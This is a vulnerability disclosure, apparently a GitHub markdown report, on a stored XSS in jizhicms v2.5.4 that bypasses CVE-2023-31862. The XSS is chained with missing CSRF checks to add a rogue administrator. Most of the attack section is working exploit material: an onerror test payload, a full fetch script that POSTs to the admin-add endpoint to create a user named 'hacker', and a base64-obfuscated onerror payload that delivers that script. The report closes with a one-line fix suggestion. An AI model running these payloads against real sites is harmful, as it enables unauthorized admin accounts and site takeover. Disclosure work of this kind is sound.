Skip to content

Latest commit

 

History

History
86 lines (61 loc) · 4.49 KB

1.md

File metadata and controls

86 lines (61 loc) · 4.49 KB

jizhicms v2.5.4 is vulnerable to cross-site Scripting (XSS) attacks. The backend does not rigorously verify the content of the published articles, which allows the attacker to bypass CVE-2023-31862, which allows the attacker to obtain sensitive user information by modifying the request package to publish articles containing malicious JavaScript. However, the backend administrator clicking on the article preview will launch this malicious JavaScript script it will likely trigger a csrf resulting in the addition of an unauthorized administrator user. image

When submitting, you can see that the post request sent is: image

Modify the submitted content to:

<p><img+src=1+onerror=confirm(1)></p>

image

At this point, if the administrator previews the submitted article, a pop-up window will appear. image

At this point, it indicates that the embedded JavaScript script has been maliciously executed I know that the entire system's cookies have been set to HttpOnly, which makes it impossible to obtain cookies through JavaScript scripts. However, there is a function to add administrator in the administrator background, which does not strictly verify csrf, thus we can inject malicious js code in the article to cause unauthorized administrator user to be added

<p></p>
<script>
const formData = new FormData();
formData.append('name', 'hacker');
formData.append('tel', '13999999999');
formData.append('email', '123@123.com');
formData.append('gid', '1');
formData.append('pass', 'admin');
formData.append('repass', 'admin');
formData.append('status', '1');
formData.append('go', '1');


fetch('http://host/index.php/admins/Admin/adminadd.html', {
    method: 'POST',
    mode: 'same-origin', 
    credentials: 'include', 
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
        'X-Requested-With': 'XMLHttpRequest'
    },
    body: new URLSearchParams(formData).toString()
})
    .then(response => {
        if (!response.ok) {
            throw new Error('Network response was not ok');
        }
        return response.json();
    })
    .then(data => {
        console.log('Success:', data);
    })
    .catch(error => {
        console.error('There has been a problem with your fetch operation:', error);
    });
</script>

The payload is :

<p><img+src="1"+onerror="document.write(atob('PHA%2BPC9wPgo8c2NyaXB0Pgpjb25zdCBmb3JtRGF0YSA9IG5ldyBGb3JtRGF0YSgpOwpmb3JtRGF0YS5hcHBlbmQoJ25hbWUnLCAnaGFja2VyJyk7CmZvcm1EYXRhLmFwcGVuZCgndGVsJywgJzEzOTk5O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UuZXJyb3IoJ1RoZXJlIGhhcyBiZWVuIGEgcHJvYmxlbSB3aXRoIHlvdXIgZmV0Y2ggb3BlcmF0aW9uOicsIGVycm9yKTsKICAgIH0pOwo8L3NjcmlwdD4%3D'))"></p>

image

Administrator clicks on preview: image

Check the admin list to see that the malicious user has been successfully added: image

Modification suggestions: Filter the content of the backend output